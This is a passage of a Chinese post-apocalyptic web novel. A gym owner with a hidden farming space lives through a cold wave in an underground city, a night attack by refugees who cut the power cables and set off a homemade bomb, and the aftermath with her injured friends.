等她吃完了，电饭锅里的狗饭才煮熟，除了锅里的肉和菜，秦小薇还削了个苹果，朔月一半，她一半…… 吃饱喝足之后，她去浴室洗了个澡，就又窝到沙发上去了。 最近这十来天，她一天得在工地搬十几个小时的砖，纵然她体力很好，但经历这么高强度的活动，她也会觉得腰酸、胳膊疼…… 不过明天工地不开工，她不用去搬砖了！ 在沙发上躺了一个多小时后，外面的“天”猛然暗了下来，秦小薇看了下时间，晚上八点了，地下城熄灯了，得到明天早上六点，地下城才会重新亮灯。 她伸了个懒腰，从沙发上坐了起来，带着朔月进了空间，她先陪朔月玩了二十多分钟飞盘，之后又照着陆昼发给她的视频训练了朔月半个多小时，才开始干正事。 秦小薇上了路边一辆四轮车，开始例行巡视自己的空间，朔月也上了副驾驶，它坐得端端正正，一副陪秦小薇一起巡视领地的模样。 空间农场现在已经30级了，经过几个月的积攒，之前没买的裁缝店、牧羊场和绵羊，她都买下来了。 但升级后，她又解锁了土豆和冰淇淋厂，因为金币不够，冰淇凌厂她还没买。 等冰淇淋厂建好之后，她就可以解锁冰淇淋、冰棍和冻酸奶了，所以秦小薇对冰淇淋厂还是挺期待的，最近一直在攒金币买冰淇淋厂。 黑土地出产的土豆口感比较粉糯，8小时收获一茬，一份有两斤，蒸了做洋芋粑粑沾辣椒面或是炖牛肉、炖鸡块都很好吃。 土豆已经解锁了大半个月了，但秦小薇还在尝试新的吃法…… 工坊和黑土地出产的东西收完了，秦小薇又去了牲畜棚，牲畜的喂养和棚舍的清理都不需要她操心，但她每天还是会过来检查两遍，免得出现什么意外。 牲畜棚里的鸡鸭鹅早就开始下蛋了，机器人每天都会去圈舍里收蛋，秦小薇找出它们前几天下的、可以进行照蛋检查的蛋，用强光照了下，熟练地把受精蛋挑出来放孵蛋器里，剩下的都收在仓库里留着慢慢吃。 临走前，她还拿了两个篮子，提了一篮子鸭蛋和一篮子鸡蛋出去，准备做咸鸭蛋和茶叶蛋。 “朔月，走了！出去了！”秦小薇喊了一声，正在追鸡逗鸭的朔月立刻甩着尾巴跑了过来。 出去后，秦小薇先把鸭蛋腌了，又做了一大锅茶叶蛋，茶叶她放的是茉莉花茶和红茶叶，她前段时间发现，不同的茶叶煮出来的茶叶蛋，风味也完全不一样。 她最近煮的茶叶蛋，用的茶叶都是随机的。 等茶叶蛋煮开了，时间也差不多九点半了，她关了火，让茶叶蛋在汤里浸泡着。 这样泡一晚，明天早上茶叶蛋就入味了。 秦小薇把大门反锁了，才带着狗上楼睡觉。 第二天早上，她难得在床上赖了两个小时的床，才起床吃早饭。 吃饭的时候，她刷了下网上的新闻，Q省各市的情况都差不多，因为这半年多没经历过破坏力太强的天灾，地下城的进度又一直在往前推进，虽然上面一直在往Q省塞人，但基本上每个人都能在地下城拥有一处安身之地，大降温的时候，不至于在外面被冻死。 Q省的其他市也和宁市一样，按照公民信用分把市民们分区安置。 但其他省市的情况就不怎么乐观了，和之前的高温一样，这次的大降温也是全国性的，所以各地很早之前就开始建地下城了。 但因为天灾和其他各种原因，他们的进度一直不如Q省这边，有些地下城连供电、供暖系统都没完善……很多市民都担心，等降温真的来了，他们能不能熬过去。 吃完饭之后，秦小薇骑着 电动车去了公租房那边。 后天分店正式开业，她今天得再去检查一下！ 公租房和富人区其实是互相联通的，不过出入需要刷卡，只有富人区的人可以自由出入，那边的人根本过不来。 还没建好的几座地下城今天都停工了，外面的人都在忙着搬进地下城，今天，大部分人都没出去，而是按部就班地上班、生活、上学。 虽然之前有不少企业都破产了，但这半年，宁市又有不少微小企业冒了出来，在市政的扶持下，很多工厂都开工了。 地下城除了生活区、种植区，还有工业区，和种植区一样，工业区主要生产一些生活必需品，供给地下城的居民。 生活区除了公租房、医院、银行等建筑，还有学校，路过学校的时候，还能听到里面琅琅的读书声…… 开门之后，店里的员工很快也过来了，这些天，她们也在外面的工地上搬砖，还没来健身房看过。 秦小薇和她们打了招呼，把带来的茶叶蛋分给她们当早饭。 “好香啊！今天这个茶叶蛋的味道好特别！” “店长，之后下暴雪了，老板还会给咱们弄员工福利吗？上次分的鸡肉已经吃完了，我好几天都没开荤了！” “我想啃兔腿了！” “……” 秦小薇伸手指了下头顶：“应该还能弄到，上面的种植区不止种了菜，还养了不少家禽家畜！” 虽然那些家禽家畜没什么活动量，可能一辈子走的路就只有几米，吃的也不是多好的饲料，口感完全比不上她空间里那些，但有种植区当掩护，秦小薇就敢把东西从空间里“偷渡”出来给员工们改善生活。 不过地下城有些地方有监控，她得想想，该怎么躲过这些监控。 要不，直接在家里把东西做好了带过来？ 秦小薇的回答让大家都兴奋起来：“太好了！又能吃到肉了！” 吃完早饭，大家打了水，把健身房打扫了一遍，又清点了货架上的货物，检查了广告牌，为明天的开业做准备…… 她们人多，不过一两个小时，就完成了开业前的准备工作，最后检查了一遍，秦小薇就让她们回家了。 回富人区的时候，秦小薇还碰到了一个老熟人——李阿姨。 李阿姨看到她之后非常惊讶：“小秦，你怎么在这？” 秦小薇静默了一瞬，随后坦然道：“我住这附近。” “你住这里？”李阿姨不自觉放大了声音，她看着秦小薇，脸上全是震惊。 秦小薇点头：“我搬过来有一段时间了……李阿姨，我赶着回去做中饭了，咱们下次再聊！” 李阿姨实在是太震惊了，一时竟然也没拦她。 她骑车离开后，李阿姨站在原地，盯着她的背影看了许久，却始终想不通，她究竟是怎么搬进来的…… 秦小薇没在意这个小插曲，回家后，照常吃饭、睡午觉。 别墅比她之前住的公寓大很多，甚至有些空旷，但秦小薇住着，却丝毫不觉得不习惯。 整栋楼都归她一个人，她再也不用担心，以后半夜会被楼上楼下的动静吵醒了；弄什么好吃的，也不用再藏着掖着，毕竟不远处的商场里就有一个大超市，里面很多稀缺物资都能买到，就是价格有亿点点贵；这边治安也很好，不像公寓楼那边，她还得天天防贼。 午觉睡醒之后，她的手机收到了一条短信，说是今天下午地下城就会开始供暖，还附赠了一个教程，教市民们该如何打开暖气，以及地暖遇到了问题，该如何报修…… 秦小薇照着教程打开了屋里的暖气，屋里很快就热了起来，她在屋里待了没多久，就开始浑身冒汗…… 她换了套衣服，才挨个房间检查起来，见屋里的供暖没有问题，才关掉了暖气，去院子里打理自己的“小花园”。 她之前搬家的时候，把阳台上的蔬菜也搬了过来，放在院子里当盆栽，但地下城不见阳光，这些蔬菜种在院子里，长势比之前还要差，秦小薇计划尽快把它们吃了，然后全都换成韭菜。 忙忙碌碌，时间很快就到了晚上，十点多的时候，她看到同城APP上有人发帖说外面下暴雪了，还有人闲着没事，特地跑到地下城的入口处拍雪景。 可惜太黑了，拍出来的照片看得并不清楚。 拍照的人还说外面温度特别低，能把人的脚趾头冻掉，不过秦小薇开着暖气躺在床上，热得想踢被子，对网友们的描述并没有什么实感…… 第二天早上，她吃早饭的时候刷了下同城APP，发现很多人都在网上发帖抱怨，说地下城的房子有问题，且发帖者主要集中在江安区和南湖区。 这两个区的地下城建得匆忙，按道理来说，房子建好之后，至少要放置28天，混凝土的强度才能达标，房子才能入住。 但大降温即将来临，市民们没时间等待，所以水泥干了之后，他们就搬进去了。 可能是因为开了暖气，混凝土里的水分蒸发过快，水化反应中断，混凝土没有得到充足的养护，半夜的时候，就有人发现公租房的墙壁表面开裂了。 等到了早上，还有人发现，昨天还好好的楼梯今天就变形了，他们上下楼的时候都是提心吊胆的，生怕楼梯会忽然塌了。 有些公租房的浴室忽然不防水了，楼上一用水，楼下的天花板就开始“下雨”。 还有人开了暖气，屋里却一直很冷，只能半夜去蹭邻居家的暖气……各种各样的问题一大堆！ 但因为地下城开了暖气，空气流通性又差，整体温度比地面高很多，之前移动物资点又提前一个月售卖各种保暖物资……所以就算地下城的建筑质量不达标，目前也还没人冻死。 不过其他省市就不同了，有些地方的地下城没通地暖，还有些地方连地下城都没建好，市民们只能住在安全屋里面，不过一个晚上，就有人活活冻死了…… 有人拍了死者的照片发到网上，他们的表情定格在死前的那一秒，就像是睡过去了。 有人用直升机拍了外面的情况，秦小薇看着网上的视频，竟然觉得大降温之后的世界有些……壮丽。 世界在某一刻被按下了暂停键，江河还保持着奔流的姿势，连水花的模样都被定格了…… 大地白茫茫的一片，显得分外干净。 如果没冻死人的话，秦小薇觉得，这风景还挺美的…… 三个室友昨天几乎是一夜没睡，直到现在才下班，见秦小薇醒了，纷纷和她吐槽昨晚的工作，寝室群一时十分热闹。 【范槿：外面真的好冷，为什么扫雪的工作要让我们巡逻队来？我半夜在地下城入口待了几个小时，那风呼啦啦地吹，身体都要冻僵了，腿都不受控制了！】 【范槿：猫猫崩溃.jpg】 【肖琳琳：还有些傻子不怕冷，跑出来拍照、堆雪人，把雪带得到处都是，我都想骂人了。】 【肖琳琳：扫了大半夜雪，我已经开始讨厌下雪了！】 【秦小薇：你们保暖的装备够用吗？我有渠道弄到鸭毛和鹅毛，可以塞在羽绒服里面保暖，不过处理起来可能有点麻烦，你们要不要？】 【范槿：要！】 【范槿：我感觉上面还是低估了这次大降温，移动物资点卖的那些东西根本就不够用，我下半身穿了四条裤子，有条还是我妈找人给我改的超厚羽绒裤，在外面待几个小时，还是觉得冷。】 【肖琳琳：我也要！】 【段霞：其实扫雪的工作还好，干一两个小时就能轮换着休息，早上江安区和南湖区那边维修人员不够，和我们求援，上面让巡逻队护送一批维修人员过去……我们几个队长都不愿意去，正在抽签。】 【段霞：这工作才麻烦呢！都不知道什么时候能回来，到了那边，说不定连住的地方都没有……】 【肖琳琳：没抽到咱们组吧？】 【段霞：没有，我说我们队昨天半夜都去扫雪了，白天得补觉，把事情给推了。】 【范槿：太好了！】 【范槿：咱们这算不算因祸得福？】 秦小薇和室友们约定了过来取鸭毛鹅毛的时间，就合上了手机。 吃完早饭，秦小薇给德牧穿上鞋子、兔皮连帽背心，自己也裹了好多层，才出门上班。 外面的温度比室内低很多，但地下城没有暴雪也没有冷风，一人一狗刚刚又吃了一顿热气腾腾的早饭，所以整体的感觉还可以，并没有那种整个人都要冻僵了的感觉。 路上，她碰到了很多准备去上班的普通人，除了穿得多了点，大家的生活似乎和前两天没有什么区别…… 健身房的员工都准时过来上班了，秦小薇关心了一下她们昨晚的睡眠，大家都说公租房的暖气很充足，一点都不冷。 一个教练给大家展示了一下自己手缝的兔皮裤：“看，我自己做的裤子，缝了两层！超级 暖和，出门的时候穿一点都不冷，就是颜色不太统一，有点丑！” “不只是丑，它还掉毛！” “没办法，为了保暖，忍忍吧！你也不想年纪轻轻，就冻出老寒腿吧？” “……” 众人聊了一会，就开始工作了，十点的时候，健身房正式开业。 为了吸引顾客，秦小薇还在健身房门口放了个音响，循环播放各种歌曲和健身房开业的优惠活动。 但可能是因为这边的治安比较好，今天又是第一天降温，大家都待在家里不愿意出来，开业第一天，客人并不多。 秦小薇甚至开始担心她的店会不会入不敷出…… 感觉健身房开在南湖区或是江安区似乎会更合适？ 但想到那边现在的情况，她又迅速打消了这个念头，那边太乱了！做生意，还是得挑安全一点的地方！ 下班以后，她还没到家，拉布拉多就从隔壁院子里冲了出来，冲着她摇尾巴，要和她一起回家。 秦小薇揉了下它的狗头：“你主人呢？” “汪——”拉布拉多转头看了一眼身后的别墅。 秦小薇回头，一眼就看到了站在二楼阳台的陆昼，他穿着居家服，手上还拿着个马克杯，姿态十分放松。 见秦小薇看到他了，他晃了晃手机，片刻之后，她的手机响了。 陆昼：“今天外面降温，我没放香肠出去上班，它心情很不好，你让朔月陪它玩会……” 秦小薇看了眼脚边已经开始社交的两只狗：“……行吧。” 一转眼，一周的时间过去了，健身房的生意渐渐好了起来。 尤其是晚上，人流量特别大！ 但秦小薇发现，买课的客人并不多，大部分人都只办了月卡。 她做了调查才知道，这些人大多在地下城都有工作，经济条件大多都不错，以前也有健身的习惯，但地下城的面积几乎利用到了极致，人口密度太大，根本没什么地方让她们锻炼。 她们想要坚持健身的习惯，来健身房办卡是最好的选择。 知道了大家办卡的原因后，秦小薇当天就把员工们留下来开会，调整了她们健身房的课程…… 这天晚上，她们一直在健身房待到快十一点才散。 半夜的时候，秦小薇突然被冷醒了，下床检查了之后才发现，供暖停了，电也停了。 秦小薇哆哆嗦嗦地套上超厚的羽绒服，又把狗子抱进怀里取暖，她正准备去空间里对付一晚的时候，手机忽然响了，是段霞的电话。 “喂？怎么这个时候打电话给我？”秦小薇接通了电话。 段霞的声音十分严肃：“有人破坏了电缆，现在整个地下城的供电供暖都停了，我担心你睡死过去出事，打个电话提醒你一下……” “啊？”秦小薇震惊了，随后，她就冒出了一股无名火，“谁干的？” 这也太过分了，对方这是想让地下城数百万人都冻死啊！ 段霞：“其他市的难民，对方想让我们收留他们，但和上面没谈拢，那些人就干脆破坏了电缆要挟我们……我和队员现在拦在入口这里！要是让他们冲进来了，地下城可能会乱起来，薇薇，你穿好衣服、做好准备，别受伤了！” 秦小薇的表情严肃起来：“我知道了！阿霞，你也小心点，别受伤了！” 段霞应了一声，就挂断了电话。 挂断电话后，秦小薇立刻开始给自己和德牧穿衣服，之后，又拿出射钉枪握在手里。 第106章 第106章夜袭（双更合一）…… 手里有了武器之后,秦小薇心里安定多了，可能是察觉到了主人的紧张，德牧也变得机警起来,眼睛炯炯有神地盯着门外。 秦小薇竟然从它的狗脸上看到了几分严肃。 她伸手摸了摸它油光水滑的皮毛,想了想,给员工们打了电话，提醒她们做好应对的准备,免得真有人冲进家门,她们会手忙脚乱。 等电话被接通了，秦小薇才知道,公租房那边的建筑比较密集，房间又小，虽然供暖供电都断了,但屋里降温没那么快,所以并不像别墅区这边这么冷，她们甚至都没被冻醒。 秦小薇：看来屋子小也有好处啊！ 让员工们互相通知之后，秦小薇又给陆昼打了个电话。 陆昼：“喂？秦小薇？” 他的声音有些沙哑,似乎还没睡醒。 秦小薇顿时沉默了，外面出了这么大的事,他竟然还能睡得着？ 还是……他根本就不知道难民的事？ 秦小薇：“地下城的电缆被难民挖了,大门也被人堵了，你知道这事吗？” 陆昼的声音懒洋洋的：“知道啊，怎么了？” 见他语气如此轻描淡写,原本还有些紧张的秦小薇一下子放松下来了。 秦小薇：“听你的语气，这事好像不是很严重？” 陆昼笑了一声：“挺严重的，电缆被挖了，热电厂停工,连家门都被人堵住了……现在外面零下四十七度，要是僵持个几天，地下城一些身体差的居民可能会抗不住低温。” 他的语气依旧很轻松，似乎地下城几百万居民的生死，都和他无关。 秦小薇：“那你还在睡觉？” 陆昼：“他们只来了几千人，地下城有驻军有武警有巡逻队，要是连这点事也解决不了，他们也太废物了！况且，这事又和我们预警中心没关系……这个点，我不睡觉，难道还陪他们一起熬夜？” 秦小薇：他还真是事不关己高高挂起。 不过，这也符合他一贯的行事风格。 可能是她沉默的时间有点久，电话那头的人忽然开口问她：“我在家里烤火，你要过来吗？” 秦小薇：“你现在在家里？” 前面的别墅已经好几天没住人了，陆昼这段时间，一直住在之前的小区里，那个小区建筑的质量特别好，还是专门针对天灾建的，虽然集体供暖供不到那边，但家家户户都有壁炉取暖，住在里面还能看到日光，所以小区里的大部分住户都没搬来地下城。 陆昼：“昨天下午过来开了个会，天黑了回去不方便，就在这边住下了……” 秦小薇想了想，觉得陆昼那边应该能打听到第一手消息，便点头答应了。 她收拾了几样东西，就牵着狗绳出门了。 陆昼开门放她进去之后，就躺到客厅里一个宽大的摇椅上了，他身上盖着厚厚的毯子，摇椅边上放着三个正在工作的电暖器，带来阵阵温暖，拉布拉多趴在地毯上，惬意地摇着尾巴。 秦小薇知道，别墅的地下室有发电机，而且装发电机的房间做了专门的隔音处理，人待在屋里的时候，就算开了发电机，也听不到太大的声音。 秦小薇忍不住吐槽他：“开三个电暖器……你也不怕把自己烤熟了？” 说着，她搬了个椅子，也坐到了电暖器边上，还把狗抱到怀里取暖。 陆昼：“客厅太大了，只开一个没效果。” 说着，他闭上了眼睛，一副准备继续睡觉的样子。 秦小薇踢了下他的脚：“你知道外面现在什么情况吗？” 陆昼“嗯”了一声，他拿起一旁的平板，解锁后递给她：“自己看。” 秦小薇接过看了下，发现是他们内部的工作系统，陆昼的权限很大，在这上面，几乎可以看到三个地下城的所有情况。 监控、人员流动、物资库存…… 秦小薇：这么重要的东西，他就直接拿给她看了？ 她摸索了一下，找到了正在发生暴乱的十三号入口，点开其中一个监控看了起来，画面很清晰，甚至能听到声音，就是网络有点卡，画面断断续续的。 一群穿得非常厚实、只露出两只眼睛的难民，把十三号入口堵得严严实实。 看了监控之后，秦小薇终于明白，为什么之前段霞给她打电话的时候会那么紧张。 现在是半夜，地下城的出入口就只有巡逻队的成员在轮流 巡逻、扫雪，半夜执勤的人并不多，双方人数差距看起来有点大，有点螳臂当车的意味。 难民中有人讲道理，说他们都是同胞，遇到了天灾更应该守望相助，要求巡逻队放他们进去；还有些老人孩子则直接跪下了，求巡逻队放他们进去；还有人群情激愤，叫嚣着不该和他们废话，应该直接闯进去……对待守在出入口执勤的巡逻队，他们是软硬兼施。 她又切了几个监控，发现情况确实不像段霞说的那么危险，因为地下城中，收到消息的军队正不断赶过去，有人正面支援，还有人从其他入口出去，准备从后方包抄……从监控上看，难民们已经被地下城的驻军“包饺子”了！ 就算段霞他们失手了，后面的援军也能把难民堵在路上，不让他们在地下城溅起什么水花。 对方几乎没什么像样的武器，真要是干起来，他们几乎没什么反抗之力。 切了几个监控后，秦小薇彻底放心了。 问题应该不大！官方完全能搞定！ 她现在唯一担心的，就是段霞她们顶在前面会受伤…… 唉！要说她们也是倒霉，之前是上夜班被分到去外面扫雪，后面抽签扫雪，又被抽中了，负责的还是刚好出事的十三号入口…… 现在回去她也睡不安稳，秦小薇想了想，决定留下来，至少她从平板上，可以随时看到外面的监控，知道段霞她们的情况。 秦小薇：“上面原本打算怎么安置这些难民的？怎么会闹成这样？” 陆昼：“我们开会决定把他们塞到军营去，那边有新建的火炕，他们住进去也不至于冻死……但这些人看不上那地方，觉得离红浦区太远了，物资运送不方便，医务室也没多少医疗物资，墙也不够厚，住着冷……他们觉得条件和地下城差远了，才住了一天，就闹着要进红浦区的地下城。” “军营那边拒绝了，他们就和我们杠上了……” 秦小薇：“……”这些人还真是看不清自己的地位，逃难到这边来，还挑剔那么多……他们难道不知道自己是难民吗？ 秦小薇摸了摸自己的肚子，觉得有点饿了，她又踢了下陆昼的小腿：“吃火锅吗？” 陆昼连眼皮都没掀开：“困，不吃。” 反而是他脚边的拉布拉多，听到有吃的，瞬间抬起头来，冲着她“汪”了一声。 秦小薇也没管他，进空间里找了个电煮锅出来，倒入火锅底料和水，连通电源，又把茶几搬了过来，在茶几上摆了一堆新鲜的肉菜，就开始煮了。 她坐在地毯上，左右两边分别守着拉布拉多和德牧，锅边上还摆着个平板。 每当她从锅里捞出一样东西，两只狗就直勾勾地盯着她……的筷子流口水，秦小薇受不了它们的眼神，便挑了些它们能吃的，涮过白水后分给它们。 她还不能偏颇，得一狗一块，要不然另一只就会哼哼唧唧地不高兴。 秦小薇：还好她家两只宠物的物种不一样，这要是养了两只狗，她还得考虑端水问题！ 吃着吃着，她忽然有种感觉，她不是在等室友们对抗难民的消息，而是在悠闲地和宠物一起“追剧”吃火锅。 但只吃了几口，秦小薇就停下来了——监控画面乱起来了。 那些难民见巡逻队和赶来的警察软硬都不吃，后面还有越来越多的武警、军人赶过来，竟然直接动手了！ 他们挥舞着手里的武器，和巡逻队、警察打成了一团，画面里，还有人叫嚣着：“地下城都是花公家钱建的，是属于所有老百姓的！为什么我们不能住？大家和我一起冲进去！争取自己的利益……” 秦小薇：这什么品种的傻逼？他们宁市自己建的地下城，和这些人有什么关系？ 虽然难民们手里的武器都是些锄头、菜刀、钢管，但巡逻队配的武器也没多好，一时之间，竟然有不少巡逻队的成员受了伤…… 看着监控画面里倒下的人，听着那断断续续的惨叫，秦小薇的眉头都快拧成疙瘩了，手上的动作自然也停了下来，所有的注意力都放在面前的平板上。 两只狗急得不行，一会原地转圈，一会伸爪子扒拉她。 陆昼不知何时醒了过来，他拿了碗筷，直接在她对面坐下，从锅里捞肉和菜吃，时不时给两只狗喂口吃的。 陆昼：“放心吧，我看你几个室友的身手都不错，不会出事的！” 秦小薇叹了口气：“双拳难敌四手！” 她直接放下筷子，专心盯着屏幕里的画面。 就在她“观战”的时候，陆昼还接了个电话：“嗯……我在家……没事，别担心。” 忽然，平板里传来了“砰——”的一声，紧接着，监控就黑屏了。 秦小薇的心都提了起来：“刚刚那是什么动静？我怎么听着像是有什么东西爆炸了？” 陆昼的眉头皱了起来，他走到秦小薇身边，弯腰看着她手上的平板，在上面快速点了几下，切换了界面。 陆昼：“……有人投放了自制炸|弹，炸伤了不少人！” 秦小薇：！！！ 那段霞她们…… 爆炸发生后不过两分钟，别墅外面就响起了敌袭的防空警报，提醒地下城的居民自己找地方躲好…… 虽然在陆昼这里，她可以知道外面的实时情况，但她知道情况后也只能等着，什么都做不了。 这反而让秦小薇更着急了…… 正在秦小薇焦灼等待的时候，别墅的大门忽然被人从外面打开了，是奚川和他的保镖们还有李阿姨。 看到屋里抱在一起、大半夜吃火锅的两人，奚川的脚步顿了一下。 李阿姨的视线在两人身上转了转，眼中闪过一抹了然。 奚川：“……我是不是打扰到你们了？” 秦小薇：？？？ 她转头看了看，这才发现，陆昼正单膝跪在她身后的地毯上操作平板，两人离得很近，虽然他并没有碰到她，但从某些角度看，他们的姿势确实有些暧昧…… 秦小薇往边上挪了挪，和他拉开距离。 陆昼没有回答奚川的问题，问道：“我不是说没事吗？怎么过来了？” 奚川在沙发上坐下了，就和在自己家一样，姿态十分随意。 奚川：“这不是担心你一个人出了事都没个照应吗？外面的动静太大了，我给老爷子打电话，他说地下城的入口都被碎石堵了……” 陆昼无奈摇头：“他们进不来的，你太杞人忧天了！” 两人又聊了些什么，不过秦小薇没太关注，她所有的注意力，都放在面前的平板上。 十几分钟后，秦小薇从其他监控里看到，那些裹得严严实实的难民被武警和军队押送出了地下城，还有人抬着担架，把伤员送去了地下城的医院…… 见事情似乎已经结束了，秦小薇赶紧拿出手机，打电话询问三个室友的情况，连着打了七八 个电话后，范槿终于接电话了。 秦小薇：“饭饭，听说十三号入口发生了爆炸，你们没受伤吧？” 范槿飞快开口道：“我今天穿得多，当时爆炸的时候又离得远，就只有衣服破了，人没受伤，阿霞和琳琳她们也没事，你别担心！我们有队友受伤了，我们现在要把他们送去医院，先挂了！” 可能是真的很着急，她说完不等秦小薇回应，就直接挂断了电话。 听到她说三人都没事，秦小薇这才松了口气，她把平板还给陆昼：“那些难民会被送去哪里啊？” 陆昼接过平板后直接锁屏扔到一边，闻言随口答道：“江安区，劳改犯都在那边……他们不是想住进地下城吗？这也算是满足他们的愿望了。” 秦小薇：“……”这也算是另一种意义上的得偿所愿吧！ 紧张的情绪褪去，秦小薇又觉得饿了，她想起了自己只吃了几口的火锅，正准备继续，却发现，桌上的菜已经没了七七八八，只剩下一锅不再冒泡的锅底。 秦小薇大怒：“陆昼，你不是说你不吃火锅吗？我的肉和菜呢？被狗吃了吗？” 陆昼指了下地上的两只狗，毫不心虚道：“嗯，它俩吃了。” 秦小薇：“我看你才是真的狗！” 拉布拉多和德牧睁着两双水汪汪的大眼睛看着两人吵架。 陆昼：“厨房的冰箱里还有食材，我再去帮你洗点？” 秦小薇嫌弃道：“谁要吃你剩的汤底啊！” 奚川一行人还在这里，她不能从空间里拿东西出来，她去厨房里转了一圈，最后只洗了些水果填肚子。 过了一会，地下城的防空警报又响了起来，提醒居民们危险已经解除。 很快，外面变得十分吵闹——富人区几乎家家户户都有发电机，电缆还没修好，他们不想挨冻，便自己用发电机发电取暖。 秦小薇：这些人就不能和陆昼一样，专门找个房间放发电机吗？这也太吵了！ 维修队的速度很快，破坏电缆的罪魁祸首被抓走之后，他们只花了两个小时，就把线路修好了。 见供暖恢复了，秦小薇也没在屋里留太久，和陆昼还有李阿姨他们打了个招呼，她就牵着狗绳，从后门回家了。 至于茶几上那一桌残羹冷炙，因为大部分都是陆昼吃的，秦小薇全都留给他收拾了。 打算等有时间了再过来拿锅。 半夜的这个小插曲似乎就这样过去了，有些人睡得死，甚至都没被冷醒，根本就不知道半夜的时候外面还出了夜袭地下城的事。 天亮之后，秦小薇去店里转了一圈，见店里不怎么忙，就骑着电动车，去看范槿她们了。 她到的时候，范妈妈端了个小板凳坐在楼下，正借着地下城天花板上的光，给两人补衣服，可能是因为不常做家务，她的动作有些笨拙，补的衣服针脚都是歪歪扭扭的。 看到秦小薇之后，她放下手上的衣服，站起来招呼她：“薇薇，你是来找小槿和琳琳的吧？她俩昨天熬了一夜，现在正在上面补觉……” 秦小薇闻言连忙开口道：“那我不上去了！阿姨，她俩情况还好吧？” 范妈妈叹了口气：“衣服都破了，里面的羽绒全跑了，回来的时候一个劲喊冷，琳琳的胸口还被石头砸了一下，半夜回来说胸口疼，我让老范陪她去医院检查了一下，医生说是肋骨骨折了……还好现在外面冷，她们两个穿得都厚，给缓冲了一下！要不然伤得会更严重！” 听到肖琳琳竟然肋骨骨折了，秦小薇顿时皱眉：“琳琳的骨折医生怎么说？医院那边给处理了吗？” 范妈妈点头：“她们巡逻队看病比我们普通老百姓方便，可以走绿色通道……医生给开了药，还给了她一个骨折固定带……巡逻队那边也给放了病假，她这一周都能在家歇着。” 打听完两人的情况后，秦小薇把带来的东西递给范妈妈：“阿姨，我又找人帮忙弄了些鸭绒鹅绒，我看网上有人能帮忙加工，你拿去给琳琳她们做两身新衣服吧！她们和我们不一样，经常得出去扫雪什么的，没几身厚衣服可不行……” 范妈妈：“阿姨知道你们都是好朋友，也不跟你客气了，就直接收下了……老范说把他的羽绒服改改给小槿穿，刚好能塞一些进去。” 之后，秦小薇又去看了段霞，她确实是真的没受伤，但因为队员减员，她一直在加班，忙得焦头烂额。 天亮之后，昨天的夜袭事件，倒是在同城APP上引起了不少人的讨论，但因为军队没给那些人攻进来的机会，普通民众没一个人受伤，所以大家并没有多少恐慌情绪。 地下城的十三号出入口被难民们自制的□□破坏得很厉害，知道市政正在修缮，不少人都自发地过去帮忙了。 秦小薇也去了，除了监控被炸毁了，地面和天花板也被炸毁了一部分。 众人先是把堵路的碎石清理出来，之后又用碎砖头、水泥砂浆把地面和天花板补上，因为人多，不过短短半天，入口处就恢复原样了。 如果不是水泥的颜色和其他地方不一样，这里和其他没经历过暴乱的出入口几乎没什么区别。 知道外面很冷，秦小薇出来的时候，特地多穿了一些，还往身上贴了很多暖宝宝，都快把自己裹成球了，但干了两个小时活，她依旧觉得自己的手脚快要冻僵了…… 就算戴了口罩，但吸进肺里的空气依旧是冰凉冰凉的，在外面稍微待一会儿，就感觉身体的热量被这些空气带走了！ 之前她还觉得在地下城出门有点冷，现在和外面一对比，地下城简直就是温暖如春！ 秦小薇很不适应外面的低温，干完了活，就直接回健身房了。 她到的时候，发现肖琳琳正在健身房帮着招待客人，看到她，秦小薇非常惊讶：“琳琳，你不是肋骨骨折了吗？不在家里好好歇着，跑我这儿来干什么？” 肖琳琳提起一旁的黑色塑料袋递给她：“没事！固定带穿上以后，我都不觉得疼了……叔叔今天带了平菇回来，说要给你加个餐，我闲着没事，就帮着送过来了……” 可能是因为身上穿着肋骨骨折固定带，她弯腰的时候，动作看起来有些别扭。 秦小薇知道，范爸爸这是用平菇感谢她上午送过去的鸭绒鹅绒，人情往来这种事，本来就应该有来有往，一味地付出，总有一天，他们的关系会变味。 她也没推辞，直接就收下了。 她盯着肖琳琳的上半身看了一会，再次确认道：“你的骨折真没事？” 第107章 第107章探病（双更合一）…… 肖琳琳原地蹦了两下,和秦小薇证明自己真的没事。 肖琳琳：“真没事，这固定带特别坚固，我肚子上就跟捆着一个铁箍似的……” 秦小薇被她吓了一跳,连忙按住她的肩膀,不让她乱动弹：“行了！你别折腾了,小心加重伤势……” 肖琳琳又在健身房待了一会，直到范爸爸打电话催她回去吃饭,她才依依不舍地离开。 晚上下班后,秦小薇就裹上面糊炸了一大锅外脆里软的炸平菇当夜宵。 地下城不见阳光，又有地暖,加个智能控温装置就能种植菌类，再加上国内原本就有非常成熟的菌类培育技术，现在种植区那边有三分之一的面积都被拿来种植各种菌类。 尤其是二十多天就能收获一茬的草菇和金耳菌……几乎每天都能在超市里看到。 虽然依旧限购,但早上早点过去,基本上都能买到。 唯一的问题就是公租房不能用明火，再加上调味料有限，做出来的东西不如天灾之前那么好吃……但也比之前只能啃能量饼干好多了！ 秦小薇分了朔月几块尝鲜,自己撒上辣椒面、孜然和芝麻，抱着盘子,“咔嚓咔擦”吃了一大盘。 不愧是她,做的炸平菇也太好吃了！ 第二天早上，肖琳琳又来了，看到她熟练地招待客人,就跟她还是健身房的员工似的，秦小薇有些头疼：“琳琳，你现在是个病人，应该好好在家休息,别跟个猴子似的上蹿下跳！” 肖琳琳叹了口气：“饭饭上夜班，白天要补觉……我和阿姨就只能端着小板凳在楼下大眼瞪小眼，太尴尬了！” 秦小薇：公租房没有自己的私人空间，确实不太方便。 肖琳琳和范妈妈年龄相差太大，有代沟，她不愿意待在家里养病也很正常！ 她想了想，把肖琳琳安置在角落里的椅子上：“你在这坐着休息，随便你玩手机还是干什么，别乱跑……” 她吹了个口哨，把德牧叫了过来，她摸了摸德牧的脑袋，开口道：“朔月，给你一个任务，看着她，别让她乱跑！” “汪——”德牧应了一声，接下了这个任务。 肖琳琳“嘿嘿嘿”笑了起来：“薇薇，你这是送羊入虎口……小月亮，快让姨姨摸摸！” 看着她像个变态一样吸狗，秦小薇无奈地摇了摇头。 朔月工作非常认真，肖琳琳几乎被它圈在椅子上，想上厕所都得找秦小薇打报告，否则会被朔月咬着裤腿拖回来…… 秦小薇对它的工作态度非常满意，觉得它不愧是当过警犬预备役的狗。 傍晚范爸爸下班的时候，又绕路来了趟健身房，给秦小薇带了一袋金耳菌：“薇薇，这袋金耳菌你拿回去炖汤，就和银耳一样炖，家里要是有红枣什么的，也可以放进去，你们小姑娘多吃点没坏处……” 秦小薇：“叔叔，这太多了！我吃不完！我要一朵就行了……” 